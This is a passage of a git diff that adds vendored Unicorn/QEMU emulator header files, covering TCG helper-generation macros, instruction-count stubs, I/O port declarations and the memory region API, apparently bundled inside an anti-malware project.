+#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/gen-icount.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/gen-icount.h new file mode 100644 index 0000000..bbbc5de --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/gen-icount.h @@ -0,0 +1,72 @@ +#ifndef GEN_ICOUNT_H +#define GEN_ICOUNT_H 1 + +#include "qemu/timer.h" + +/* Helpers for instruction counting code generation. */ + +//static TCGArg *icount_arg; +//static int icount_label; + +static inline void gen_tb_start(TCGContext *tcg_ctx) +{ + // TCGv_i32 count; + TCGv_i32 flag; + + tcg_ctx->exitreq_label = gen_new_label(tcg_ctx); + flag = tcg_temp_new_i32(tcg_ctx); + tcg_gen_ld_i32(tcg_ctx, flag, tcg_ctx->cpu_env, + offsetof(CPUState, tcg_exit_req) - ENV_OFFSET); + tcg_gen_brcondi_i32(tcg_ctx, TCG_COND_NE, flag, 0, tcg_ctx->exitreq_label); + tcg_temp_free_i32(tcg_ctx, flag); + +#if 0 + if (!use_icount) + return; + + icount_label = gen_new_label(); + count = tcg_temp_local_new_i32(); + tcg_gen_ld_i32(count, cpu_env, + -ENV_OFFSET + offsetof(CPUState, icount_decr.u32)); + /* This is a horrid hack to allow fixing up the value later. */ + icount_arg = tcg_ctx.gen_opparam_ptr + 1; + tcg_gen_subi_i32(count, count, 0xdeadbeef); + + tcg_gen_brcondi_i32(TCG_COND_LT, count, 0, icount_label); + tcg_gen_st16_i32(count, cpu_env, + -ENV_OFFSET + offsetof(CPUState, icount_decr.u16.low)); + tcg_temp_free_i32(count); +#endif +} + +static inline void gen_tb_end(TCGContext *tcg_ctx, TranslationBlock *tb, int num_insns) +{ + gen_set_label(tcg_ctx, tcg_ctx->exitreq_label); + tcg_gen_exit_tb(tcg_ctx, (uintptr_t)tb + TB_EXIT_REQUESTED); + +#if 0 + if (use_icount) { + *icount_arg = num_insns; + gen_set_label(icount_label); + tcg_gen_exit_tb((uintptr_t)tb + TB_EXIT_ICOUNT_EXPIRED); + } +#endif +} + +#if 0 +static inline void gen_io_start(void) +{ + TCGv_i32 tmp = tcg_const_i32(1); + tcg_gen_st_i32(tmp, cpu_env, -ENV_OFFSET + offsetof(CPUState, can_do_io)); + tcg_temp_free_i32(tmp); +} + +static inline void gen_io_end(void) +{ + TCGv_i32 tmp = tcg_const_i32(0); + tcg_gen_st_i32(tmp, cpu_env, -ENV_OFFSET + offsetof(CPUState, can_do_io)); + tcg_temp_free_i32(tmp); +} +#endif + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/helper-gen.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/helper-gen.h new file mode 100644 index 0000000..df3ea61 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/helper-gen.h @@ -0,0 +1,70 @@ +/* Helper file for declaring TCG helper functions. + This one expands generation functions for tcg opcodes. */ + +#ifndef HELPER_GEN_H +#define HELPER_GEN_H 1 + +#include <exec/helper-head.h> + +#define DEF_HELPER_FLAGS_0(name, flags, ret) \ +static inline void glue(gen_helper_, name)(TCGContext *tcg_ctx, dh_retvar_decl0(ret)) \ +{ \ + tcg_gen_callN(tcg_ctx, HELPER(name), dh_retvar(ret), 0, NULL); \ +} + +#define DEF_HELPER_FLAGS_1(name, flags, ret, t1) \ +static inline void glue(gen_helper_, name)(TCGContext *tcg_ctx, dh_retvar_decl(ret) \ + dh_arg_decl(t1, 1)) \ +{ \ + TCGArg args[1] = { dh_arg(t1, 1) }; \ + tcg_gen_callN(tcg_ctx, HELPER(name), dh_retvar(ret), 1, args); \ +} + +#define DEF_HELPER_FLAGS_2(name, flags, ret, t1, t2) \ +static inline void glue(gen_helper_, name)(TCGContext *tcg_ctx, dh_retvar_decl(ret) \ + dh_arg_decl(t1, 1), dh_arg_decl(t2, 2)) \ +{ \ + TCGArg args[2] = { dh_arg(t1, 1), dh_arg(t2, 2) }; \ + tcg_gen_callN(tcg_ctx, HELPER(name), dh_retvar(ret), 2, args); \ +} + +#define DEF_HELPER_FLAGS_3(name, flags, ret, t1, t2, t3) \ +static inline void glue(gen_helper_, name)(TCGContext *tcg_ctx, dh_retvar_decl(ret) \ + dh_arg_decl(t1, 1), dh_arg_decl(t2, 2), dh_arg_decl(t3, 3)) \ +{ \ + TCGArg args[3] = { dh_arg(t1, 1), dh_arg(t2, 2), dh_arg(t3, 3) }; \ + tcg_gen_callN(tcg_ctx, HELPER(name), dh_retvar(ret), 3, args); \ +} + +#define DEF_HELPER_FLAGS_4(name, flags, ret, t1, t2, t3, t4) \ +static inline void glue(gen_helper_, name)(TCGContext *tcg_ctx, dh_retvar_decl(ret) \ + dh_arg_decl(t1, 1), dh_arg_decl(t2, 2), \ + dh_arg_decl(t3, 3), dh_arg_decl(t4, 4)) \ +{ \ + TCGArg args[4] = { dh_arg(t1, 1), dh_arg(t2, 2), \ + dh_arg(t3, 3), dh_arg(t4, 4) }; \ + tcg_gen_callN(tcg_ctx, HELPER(name), dh_retvar(ret), 4, args); \ +} + +#define DEF_HELPER_FLAGS_5(name, flags, ret, t1, t2, t3, t4, t5) \ +static inline void glue(gen_helper_, name)(TCGContext *tcg_ctx, dh_retvar_decl(ret) \ + dh_arg_decl(t1, 1), dh_arg_decl(t2, 2), dh_arg_decl(t3, 3), \ + dh_arg_decl(t4, 4), dh_arg_decl(t5, 5)) \ +{ \ + TCGArg args[5] = { dh_arg(t1, 1), dh_arg(t2, 2), dh_arg(t3, 3), \ + dh_arg(t4, 4), dh_arg(t5, 5) }; \ + tcg_gen_callN(tcg_ctx, HELPER(name), dh_retvar(ret), 5, args); \ +} + +#include "helper.h" +#include "tcg-runtime.h" + +#undef DEF_HELPER_FLAGS_0 +#undef DEF_HELPER_FLAGS_1 +#undef DEF_HELPER_FLAGS_2 +#undef DEF_HELPER_FLAGS_3 +#undef DEF_HELPER_FLAGS_4 +#undef DEF_HELPER_FLAGS_5 +#undef GEN_HELPER + +#endif /* HELPER_GEN_H */ diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/helper-head.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/helper-head.h new file mode 100644 index 0000000..b009ccb --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/helper-head.h @@ -0,0 +1,134 @@ +/* Helper file for declaring TCG helper functions. + Used by other helper files. + + Targets should use DEF_HELPER_N and DEF_HELPER_FLAGS_N to declare helper + functions. Names should be specified without the helper_ prefix, and + the return and argument types specified. 3 basic types are understood + (i32, i64 and ptr). Additional aliases are provided for convenience and + to match the types used by the C helper implementation. + + The target helper.h should be included in all files that use/define + helper functions. THis will ensure that function prototypes are + consistent. In addition it should be included an extra two times for + helper.c, defining: + GEN_HELPER 1 to produce op generation functions (gen_helper_*) + GEN_HELPER 2 to do runtime registration helper functions. + */ + +#ifndef DEF_HELPER_H +#define DEF_HELPER_H 1 + +#include "qemu/osdep.h" + +#define HELPER(name) glue(helper_, name) + +#define GET_TCGV_i32 GET_TCGV_I32 +#define GET_TCGV_i64 GET_TCGV_I64 +#define GET_TCGV_ptr GET_TCGV_PTR + +/* Some types that make sense in C, but not for TCG. */ +#define dh_alias_i32 i32 +#define dh_alias_s32 i32 +#define dh_alias_int i32 +#define dh_alias_i64 i64 +#define dh_alias_s64 i64 +#define dh_alias_f32 i32 +#define dh_alias_f64 i64 +#ifdef TARGET_LONG_BITS +# if TARGET_LONG_BITS == 32 +# define dh_alias_tl i32 +# else +# define dh_alias_tl i64 +# endif +#endif +#define dh_alias_ptr ptr +#define dh_alias_void void +#define dh_alias_noreturn noreturn +#define dh_alias_env ptr +#define dh_alias(t) glue(dh_alias_, t) + +#define dh_ctype_i32 uint32_t +#define dh_ctype_s32 int32_t +#define dh_ctype_int int +#define dh_ctype_i64 uint64_t +#define dh_ctype_s64 int64_t +#define dh_ctype_f32 float32 +#define dh_ctype_f64 float64 +#define dh_ctype_tl target_ulong +#define dh_ctype_ptr void * +#define dh_ctype_void void +#define dh_ctype_noreturn void QEMU_NORETURN +#define dh_ctype_env CPUArchState * +#define dh_ctype(t) dh_ctype_##t + +/* We can't use glue() here because it falls foul of C preprocessor + recursive expansion rules. */ +#define dh_retvar_decl0_void void +#define dh_retvar_decl0_noreturn void +#define dh_retvar_decl0_i32 TCGv_i32 retval +#define dh_retvar_decl0_i64 TCGv_i64 retval +#define dh_retvar_decl0_ptr TCGv_ptr retval +#define dh_retvar_decl0(t) glue(dh_retvar_decl0_, dh_alias(t)) + +#define dh_retvar_decl_void +#define dh_retvar_decl_noreturn +#define dh_retvar_decl_i32 TCGv_i32 retval, +#define dh_retvar_decl_i64 TCGv_i64 retval, +#define dh_retvar_decl_ptr TCGv_ptr retval, +#define dh_retvar_decl(t) glue(dh_retvar_decl_, dh_alias(t)) + +#define dh_retvar_void TCG_CALL_DUMMY_ARG +#define dh_retvar_noreturn TCG_CALL_DUMMY_ARG +#define dh_retvar_i32 GET_TCGV_i32(retval) +#define dh_retvar_i64 GET_TCGV_i64(retval) +#define dh_retvar_ptr GET_TCGV_ptr(retval) +#define dh_retvar(t) glue(dh_retvar_, dh_alias(t)) + +#define dh_is_64bit_void 0 +#define dh_is_64bit_noreturn 0 +#define dh_is_64bit_i32 0 +#define dh_is_64bit_i64 1 +#define dh_is_64bit_ptr (sizeof(void *) == 8) +#define dh_is_64bit(t) glue(dh_is_64bit_, dh_alias(t)) + +#define dh_is_signed_void 0 +#define dh_is_signed_noreturn 0 +#define dh_is_signed_i32 0 +#define dh_is_signed_s32 1 +#define dh_is_signed_i64 0 +#define dh_is_signed_s64 1 +#define dh_is_signed_f32 0 +#define dh_is_signed_f64 0 +#define dh_is_signed_tl 0 +#define dh_is_signed_int 1 +/* ??? This is highly specific to the host cpu. There are even special + extension instructions that may be required, e.g. ia64's addp4. But + for now we don't support any 64-bit targets with 32-bit pointers. */ +#define dh_is_signed_ptr 0 +#define dh_is_signed_env dh_is_signed_ptr +#define dh_is_signed(t) dh_is_signed_##t + +#define dh_sizemask(t, n) \ + ((dh_is_64bit(t) << (n*2)) | (dh_is_signed(t) << (n*2+1))) + +#define dh_arg(t, n) \ + glue(GET_TCGV_, dh_alias(t))(glue(arg, n)) + +#define dh_arg_decl(t, n) glue(TCGv_, dh_alias(t)) glue(arg, n) + +#define DEF_HELPER_0(name, ret) \ + DEF_HELPER_FLAGS_0(name, 0, ret) +#define DEF_HELPER_1(name, ret, t1) \ + DEF_HELPER_FLAGS_1(name, 0, ret, t1) +#define DEF_HELPER_2(name, ret, t1, t2) \ + DEF_HELPER_FLAGS_2(name, 0, ret, t1, t2) +#define DEF_HELPER_3(name, ret, t1, t2, t3) \ + DEF_HELPER_FLAGS_3(name, 0, ret, t1, t2, t3) +#define DEF_HELPER_4(name, ret, t1, t2, t3, t4) \ + DEF_HELPER_FLAGS_4(name, 0, ret, t1, t2, t3, t4) +#define DEF_HELPER_5(name, ret, t1, t2, t3, t4, t5) \ + DEF_HELPER_FLAGS_5(name, 0, ret, t1, t2, t3, t4, t5) + +/* MAX_OPC_PARAM_IARGS must be set to n if last entry is DEF_HELPER_FLAGS_n. */ + +#endif /* DEF_HELPER_H */ diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/helper-proto.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/helper-proto.h new file mode 100644 index 0000000..828951c --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/helper-proto.h @@ -0,0 +1,39 @@ +/* Helper file for declaring TCG helper functions. + This one expands prototypes for the helper functions. */ + +#ifndef HELPER_PROTO_H +#define HELPER_PROTO_H 1 + +#include <exec/helper-head.h> + +#define DEF_HELPER_FLAGS_0(name, flags, ret) \ +dh_ctype(ret) HELPER(name) (void); + +#define DEF_HELPER_FLAGS_1(name, flags, ret, t1) \ +dh_ctype(ret) HELPER(name) (dh_ctype(t1)); + +#define DEF_HELPER_FLAGS_2(name, flags, ret, t1, t2) \ +dh_ctype(ret) HELPER(name) (dh_ctype(t1), dh_ctype(t2)); + +#define DEF_HELPER_FLAGS_3(name, flags, ret, t1, t2, t3) \ +dh_ctype(ret) HELPER(name) (dh_ctype(t1), dh_ctype(t2), dh_ctype(t3)); + +#define DEF_HELPER_FLAGS_4(name, flags, ret, t1, t2, t3, t4) \ +dh_ctype(ret) HELPER(name) (dh_ctype(t1), dh_ctype(t2), dh_ctype(t3), \ + dh_ctype(t4)); + +#define DEF_HELPER_FLAGS_5(name, flags, ret, t1, t2, t3, t4, t5) \ +dh_ctype(ret) HELPER(name) (dh_ctype(t1), dh_ctype(t2), dh_ctype(t3), \ + dh_ctype(t4), dh_ctype(t5)); + +#include "helper.h" +#include "tcg-runtime.h" + +#undef DEF_HELPER_FLAGS_0 +#undef DEF_HELPER_FLAGS_1 +#undef DEF_HELPER_FLAGS_2 +#undef DEF_HELPER_FLAGS_3 +#undef DEF_HELPER_FLAGS_4 +#undef DEF_HELPER_FLAGS_5 + +#endif /* HELPER_PROTO_H */ diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/helper-tcg.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/helper-tcg.h new file mode 100644 index 0000000..5b12f31 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/helper-tcg.h @@ -0,0 +1,48 @@ +/* Helper file for declaring TCG helper functions. + This one defines data structures private to tcg.c. */ + +#ifndef HELPER_TCG_H +#define HELPER_TCG_H 1 + +#include <exec/helper-head.h> + +#define DEF_HELPER_FLAGS_0(NAME, FLAGS, ret) \ + { HELPER(NAME), #NAME, FLAGS, \ + dh_sizemask(ret, 0) }, + +#define DEF_HELPER_FLAGS_1(NAME, FLAGS, ret, t1) \ + { HELPER(NAME), #NAME, FLAGS, \ + dh_sizemask(ret, 0) | dh_sizemask(t1, 1) }, + +#define DEF_HELPER_FLAGS_2(NAME, FLAGS, ret, t1, t2) \ + { HELPER(NAME), #NAME, FLAGS, \ + dh_sizemask(ret, 0) | dh_sizemask(t1, 1) \ + | dh_sizemask(t2, 2) }, + +#define DEF_HELPER_FLAGS_3(NAME, FLAGS, ret, t1, t2, t3) \ + { HELPER(NAME), #NAME, FLAGS, \ + dh_sizemask(ret, 0) | dh_sizemask(t1, 1) \ + | dh_sizemask(t2, 2) | dh_sizemask(t3, 3) }, + +#define DEF_HELPER_FLAGS_4(NAME, FLAGS, ret, t1, t2, t3, t4) \ + { HELPER(NAME), #NAME, FLAGS, \ + dh_sizemask(ret, 0) | dh_sizemask(t1, 1) \ + | dh_sizemask(t2, 2) | dh_sizemask(t3, 3) | dh_sizemask(t4, 4) }, + +#define DEF_HELPER_FLAGS_5(NAME, FLAGS, ret, t1, t2, t3, t4, t5) \ + { HELPER(NAME), #NAME, FLAGS, \ + dh_sizemask(ret, 0) | dh_sizemask(t1, 1) \ + | dh_sizemask(t2, 2) | dh_sizemask(t3, 3) | dh_sizemask(t4, 4) \ + | dh_sizemask(t5, 5) }, + +#include "helper.h" +#include "tcg-runtime.h" + +#undef DEF_HELPER_FLAGS_0 +#undef DEF_HELPER_FLAGS_1 +#undef DEF_HELPER_FLAGS_2 +#undef DEF_HELPER_FLAGS_3 +#undef DEF_HELPER_FLAGS_4 +#undef DEF_HELPER_FLAGS_5 + +#endif /* HELPER_TCG_H */ diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/hwaddr.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/hwaddr.h new file mode 100644 index 0000000..8ac8394 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/hwaddr.h @@ -0,0 +1,22 @@ +/* Define hwaddr if it exists. */ + +#ifndef HWADDR_H +#define HWADDR_H + +#define HWADDR_BITS 64 +/* hwaddr is the type of a physical address (its size can + be different from 'target_ulong'). */ + +#include "unicorn/platform.h" + +typedef uint64_t hwaddr; +#define HWADDR_MAX UINT64_MAX +#define TARGET_FMT_plx "%016" PRIx64 +#define HWADDR_PRId PRId64 +#define HWADDR_PRIi PRIi64 +#define HWADDR_PRIo PRIo64 +#define HWADDR_PRIu PRIu64 +#define HWADDR_PRIx PRIx64 +#define HWADDR_PRIX PRIX64 + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/ioport.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/ioport.h new file mode 100644 index 0000000..0d32c89 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/ioport.h @@ -0,0 +1,59 @@ +/* + * defines ioport related functions + * + * Copyright (c) 2003 Fabrice Bellard + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see <http://www.gnu.org/licenses/>. + */ + +/************************************************************************** + * IO ports API + */ + +#ifndef IOPORT_H +#define IOPORT_H + +#include "qemu-common.h" +#include "qom/object.h" +#include "exec/memory.h" + +typedef uint32_t pio_addr_t; +#define FMT_pioaddr PRIx32 + +#define MAX_IOPORTS (64 * 1024) +#define IOPORTS_MASK (MAX_IOPORTS - 1) + +typedef struct MemoryRegionPortio { + uint32_t offset; + uint32_t len; + unsigned size; + uint32_t (*read)(void *opaque, uint32_t address); + void (*write)(void *opaque, uint32_t address, uint32_t data); + uint32_t base; /* private field */ +} MemoryRegionPortio; + +#define PORTIO_END_OF_LIST() { } + +#ifndef CONFIG_USER_ONLY +extern const MemoryRegionOps unassigned_io_ops; +#endif + +void cpu_outb(struct uc_struct *uc, pio_addr_t addr, uint8_t val); +void cpu_outw(struct uc_struct *uc, pio_addr_t addr, uint16_t val); +void cpu_outl(struct uc_struct *uc, pio_addr_t addr, uint32_t val); +uint8_t cpu_inb(struct uc_struct *uc, pio_addr_t addr); +uint16_t cpu_inw(struct uc_struct *uc, pio_addr_t addr); +uint32_t cpu_inl(struct uc_struct *uc, pio_addr_t addr); + +#endif /* IOPORT_H */ diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/memory-internal.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/memory-internal.h new file mode 100644 index 0000000..d3546d2 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/memory-internal.h @@ -0,0 +1,36 @@ +/* + * Declarations for obsolete exec.c functions + * + * Copyright 2011 Red Hat, Inc. and/or its affiliates + * + * Authors: + * Avi Kivity <avi@redhat.com> + * + * This work is licensed under the terms of the GNU GPL, version 2 or + * later. See the COPYING file in the top-level directory. + * + */ + +/* + * This header is for use by exec.c and memory.c ONLY. Do not include it. + * The functions declared here will be removed soon. + */ + +#ifndef MEMORY_INTERNAL_H +#define MEMORY_INTERNAL_H + +#ifndef CONFIG_USER_ONLY +typedef struct AddressSpaceDispatch AddressSpaceDispatch; + +void address_space_init_dispatch(AddressSpace *as); +void address_space_destroy_dispatch(AddressSpace *as); + +extern const MemoryRegionOps unassigned_mem_ops; + +bool memory_region_access_valid(MemoryRegion *mr, hwaddr addr, + unsigned size, bool is_write); + +void address_space_unregister(AddressSpace *as); + +#endif +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/memory.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/memory.h new file mode 100644 index 0000000..ef28b9d --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/memory.h @@ -0,0 +1,864 @@ +/* + * Physical memory management API + * + * Copyright 2011 Red Hat, Inc. and/or its affiliates + * + * Authors: + * Avi Kivity <avi@redhat.com> + * + * This work is licensed under the terms of the GNU GPL, version 2. See + * the COPYING file in the top-level directory. + * + */ + +#ifndef MEMORY_H +#define MEMORY_H + +#ifndef CONFIG_USER_ONLY + +#define DIRTY_MEMORY_CODE 0 +#define DIRTY_MEMORY_NUM 1 /* num of dirty bits */ + +#include "unicorn/platform.h" +#include "qemu-common.h" +#include "exec/cpu-common.h" +#include "exec/hwaddr.h" +#include "qemu/queue.h" +#include "qemu/int128.h" +#include "qapi/error.h" +#include "qom/object.h" + +#define MAX_PHYS_ADDR_SPACE_BITS 62 +#define MAX_PHYS_ADDR (((hwaddr)1 << MAX_PHYS_ADDR_SPACE_BITS) - 1) + +#define TYPE_MEMORY_REGION "qemu:memory-region" +#define MEMORY_REGION(uc, obj) \ + OBJECT_CHECK(uc, MemoryRegion, (obj), TYPE_MEMORY_REGION) + +typedef struct MemoryRegionOps MemoryRegionOps; +typedef struct MemoryRegionMmio MemoryRegionMmio; + +struct MemoryRegionMmio { + CPUReadMemoryFunc *read[3]; + CPUWriteMemoryFunc *write[3]; +}; + +typedef struct IOMMUTLBEntry IOMMUTLBEntry; + +/* See address_space_translate: bit 0 is read, bit 1 is write. */ +typedef enum { + IOMMU_NONE = 0, + IOMMU_RO = 1, + IOMMU_WO = 2, + IOMMU_RW = 3, +} IOMMUAccessFlags; + +struct IOMMUTLBEntry { + AddressSpace *target_as; + hwaddr iova; + hwaddr translated_addr; + hwaddr addr_mask; /* 0xfff = 4k translation */ + IOMMUAccessFlags perm; +}; + +/* + * Memory region callbacks + */ +struct MemoryRegionOps { + /* Read from the memory region. @addr is relative to @mr; @size is + * in bytes. */ + uint64_t (*read)(struct uc_struct* uc, void *opaque, + hwaddr addr, + unsigned size); + /* Write to the memory region. @addr is relative to @mr; @size is + * in bytes. */ + void (*write)(struct uc_struct* uc, void *opaque, + hwaddr addr, + uint64_t data, + unsigned size); + + enum device_endian endianness; + /* Guest-visible constraints: */ + struct { + /* If nonzero, specify bounds on access sizes beyond which a machine + * check is thrown. + */ + unsigned min_access_size; + unsigned max_access_size; + /* If true, unaligned accesses are supported. Otherwise unaligned + * accesses throw machine checks. + */ + bool unaligned; + /* + * If present, and returns #false, the transaction is not accepted + * by the device (and results in machine dependent behaviour such + * as a machine check exception). + */ + bool (*accepts)(void *opaque, hwaddr addr, + unsigned size, bool is_write); + } valid; + /* Internal implementation constraints: */ + struct { + /* If nonzero, specifies the minimum size implemented. Smaller sizes + * will be rounded upwards and a partial result will be returned. + */ + unsigned min_access_size; + /* If nonzero, specifies the maximum size implemented. Larger sizes + * will be done as a series of accesses with smaller sizes. + */ + unsigned max_access_size; + /* If true, unaligned accesses are supported. Otherwise all accesses + * are converted to (possibly multiple) naturally aligned accesses. + */ + bool unaligned; + } impl; + + /* If .read and .write are not present, old_mmio may be used for + * backwards compatibility with old mmio registration + */ + const MemoryRegionMmio old_mmio; +}; + +typedef struct MemoryRegionIOMMUOps MemoryRegionIOMMUOps; + +struct MemoryRegionIOMMUOps { + /* Return a TLB entry that contains a given address. */ + IOMMUTLBEntry (*translate)(MemoryRegion *iommu, hwaddr addr, bool is_write); +}; + +struct MemoryRegion { + Object parent_obj; + /* All fields are private - violators will be prosecuted */ + const MemoryRegionOps *ops; + const MemoryRegionIOMMUOps *iommu_ops; + void *opaque; + MemoryRegion *container; + Int128 size; + hwaddr addr; + void (*destructor)(MemoryRegion *mr); + ram_addr_t ram_addr; + uint64_t align; + bool subpage; + bool terminates; + bool romd_mode; + bool ram; + bool skip_dump; + bool readonly; /* For RAM regions */ + bool enabled; + bool rom_device; + bool warning_printed; /* For reservations */ + MemoryRegion *alias; + hwaddr alias_offset; + int32_t priority; + bool may_overlap; + QTAILQ_HEAD(subregions, MemoryRegion) subregions; + QTAILQ_ENTRY(MemoryRegion) subregions_link; + const char *name; + uint8_t dirty_log_mask; + struct uc_struct *uc; + uint32_t perms; //all perms, partially redundant with readonly + uint64_t end; +}; + +/** + * MemoryListener: callbacks structure for updates to the physical memory map + * + * Allows a component to adjust to changes in the guest-visible memory map. + * Use with memory_listener_register() and memory_listener_unregister(). + */ +struct MemoryListener { + void (*begin)(MemoryListener *listener); + void (*commit)(MemoryListener *listener); + void (*region_add)(MemoryListener *listener, MemoryRegionSection *section); + void (*region_del)(MemoryListener *listener, MemoryRegionSection *section); + void (*region_nop)(MemoryListener *listener, MemoryRegionSection *section); + void (*log_start)(MemoryListener *listener, MemoryRegionSection *section); + void (*log_stop)(MemoryListener *listener, MemoryRegionSection *section); + void (*log_sync)(MemoryListener *listener, MemoryRegionSection *section); + void (*log_global_start)(MemoryListener *listener); + void (*log_global_stop)(MemoryListener *listener); + /* Lower = earlier (during add), later (during del) */ + unsigned priority; + AddressSpace *address_space_filter; + QTAILQ_ENTRY(MemoryListener) link; +}; + +/** + * AddressSpace: describes a mapping of addresses to #MemoryRegion objects + */ +struct AddressSpace { + /* All fields are private. */ + char *name; + MemoryRegion *root; + struct FlatView *current_map; + struct AddressSpaceDispatch *dispatch; + struct AddressSpaceDispatch *next_dispatch; + MemoryListener dispatch_listener; + struct uc_struct* uc; + + QTAILQ_ENTRY(AddressSpace) address_spaces_link; +}; + +/** + * MemoryRegionSection: describes a fragment of a #MemoryRegion + * + * @mr: the region, or %NULL if empty + * @address_space: the address space the region is mapped in + * @offset_within_region: the beginning of the section, relative to @mr's start + * @size: the size of the section; will not exceed @mr's boundaries + * @offset_within_address_space: the address of the first byte of the section + * relative to the region's address space + * @readonly: writes to this section are ignored + */ +struct MemoryRegionSection { + MemoryRegion *mr; + AddressSpace *address_space; + hwaddr offset_within_region; + Int128 size; + hwaddr offset_within_address_space; + bool readonly; +}; + +static inline MemoryRegionSection MemoryRegionSection_make(MemoryRegion *mr, AddressSpace *address_space, + hwaddr offset_within_region, Int128 size, hwaddr offset_within_address_space, bool readonly) +{ + MemoryRegionSection section; + section.mr = mr; + section.address_space = address_space; + section.offset_within_region = offset_within_region; + section.size = size; + section.offset_within_address_space = offset_within_address_space; + section.readonly = readonly; + return section; +} + +/** + * memory_region_init: Initialize a memory region + * + * The region typically acts as a container for other memory regions. Use + * memory_region_add_subregion() to add subregions. + * + * @mr: the #MemoryRegion to be initialized + * @owner: the object that tracks the region's reference count + * @name: used for debugging; not visible to the user or ABI + * @size: size of the region; any subregions beyond this size will be clipped + */ +void memory_region_init(struct uc_struct *uc, MemoryRegion *mr, + struct Object *owner, + const char *name, + uint64_t size); + +/** + * memory_region_ref: Add 1 to a memory region's reference count + * + * Whenever memory regions are accessed outside the BQL, they need to be + * preserved against hot-unplug. MemoryRegions actually do not have their + * own reference count; they piggyback on a QOM object, their "owner". + * This function adds a reference to the owner. + * + * All MemoryRegions must have an owner if they can disappear, even if the + * device they belong to operates exclusively under the BQL. This is because + * the region could be returned at any time by memory_region_find, and this + * is usually under guest control. + * + * @mr: the #MemoryRegion + */ +void memory_region_ref(MemoryRegion *mr); + +/** + * memory_region_unref: Remove 1 to a memory region's reference count + * + * Whenever memory regions are accessed outside the BQL, they need to be + * preserved against hot-unplug. MemoryRegions actually do not have their + * own reference count; they piggyback on a QOM object, their "owner". + * This function removes a reference to the owner and possibly destroys it. + * + * @mr: the #MemoryRegion + */ +void memory_region_unref(MemoryRegion *mr); + +/** + * memory_region_init_io: Initialize an I/O memory region. + * + * Accesses into the region will cause the callbacks in @ops to be called. + * if @size is nonzero, subregions will be clipped to @size. + * + * @mr: the #MemoryRegion to be initialized. + * @owner: the object that tracks the region's reference count + * @ops: a structure containing read and write callbacks to be used when + * I/O is performed on the region. + * @opaque: passed to to the read and write callbacks of the @ops structure. + * @name: used for debugging; not visible to the user or ABI + * @size: size of the region. + */ +void memory_region_init_io(struct uc_struct *uc, MemoryRegion *mr, + struct Object *owner, + const MemoryRegionOps *ops, + void *opaque, + const char *name, + uint64_t size); + +/** + * memory_region_init_ram: Initialize RAM memory region. Accesses into the + * region will modify memory directly. + * + * @mr: the #MemoryRegion to be initialized. + * @owner: the object that tracks the region's reference count + * @name: the name of the region. + * @size: size of the region. + * @perms: permissions on the region (UC_PROT_READ, UC_PROT_WRITE, UC_PROT_EXEC). + * @errp: pointer to Error*, to store an error if it happens. + */ +void memory_region_init_ram(struct uc_struct *uc, MemoryRegion *mr, + struct Object *owner, + const char *name, + uint64_t size, + uint32_t perms, + Error **errp); + +/** + * memory_region_init_ram_ptr: Initialize RAM memory region from a + * user-provided pointer. Accesses into the + * region will modify memory directly. + * + * @mr: the #MemoryRegion to be initialized. + * @owner: the object that tracks the region's reference count + * @name: the name of the region. + * @size: size of the region. + * @ptr: memory to be mapped; must contain at least @size bytes. + */ +void memory_region_init_ram_ptr(struct uc_struct *uc, MemoryRegion *mr, + struct Object *owner, + const char *name, + uint64_t size, + void *ptr); + +/** + * memory_region_init_alias: Initialize a memory region that aliases all or a + * part of another memory region. + * + * @mr: the #MemoryRegion to be initialized. + * @owner: the object that tracks the region's reference count + * @name: used for debugging; not visible to the user or ABI + * @orig: the region to be referenced; @mr will be equivalent to + * @orig between @offset and @offset + @size - 1. + * @offset: start of the section in @orig to be referenced. + * @size: size of the region. + */ +void memory_region_init_alias(struct uc_struct *uc, MemoryRegion *mr, + struct Object *owner, + const char *name, + MemoryRegion *orig, + hwaddr offset, + uint64_t size); + +/** + * memory_region_init_rom_device: Initialize a ROM memory region. Writes are + * handled via callbacks. + * + * @mr: the #MemoryRegion to be initialized. + * @owner: the object that tracks the region's reference count + * @ops: callbacks for write access handling. + * @name: the name of the region. + * @size: size of the region. + * @errp: pointer to Error*, to store an error if it happens. + */ +void memory_region_init_rom_device(MemoryRegion *mr, + struct Object *owner, + const MemoryRegionOps *ops, + void *opaque, + const char *name, + uint64_t size, + Error **errp); + +/** + * memory_region_init_reservation: Initialize a memory region that reserves + * I/O space. 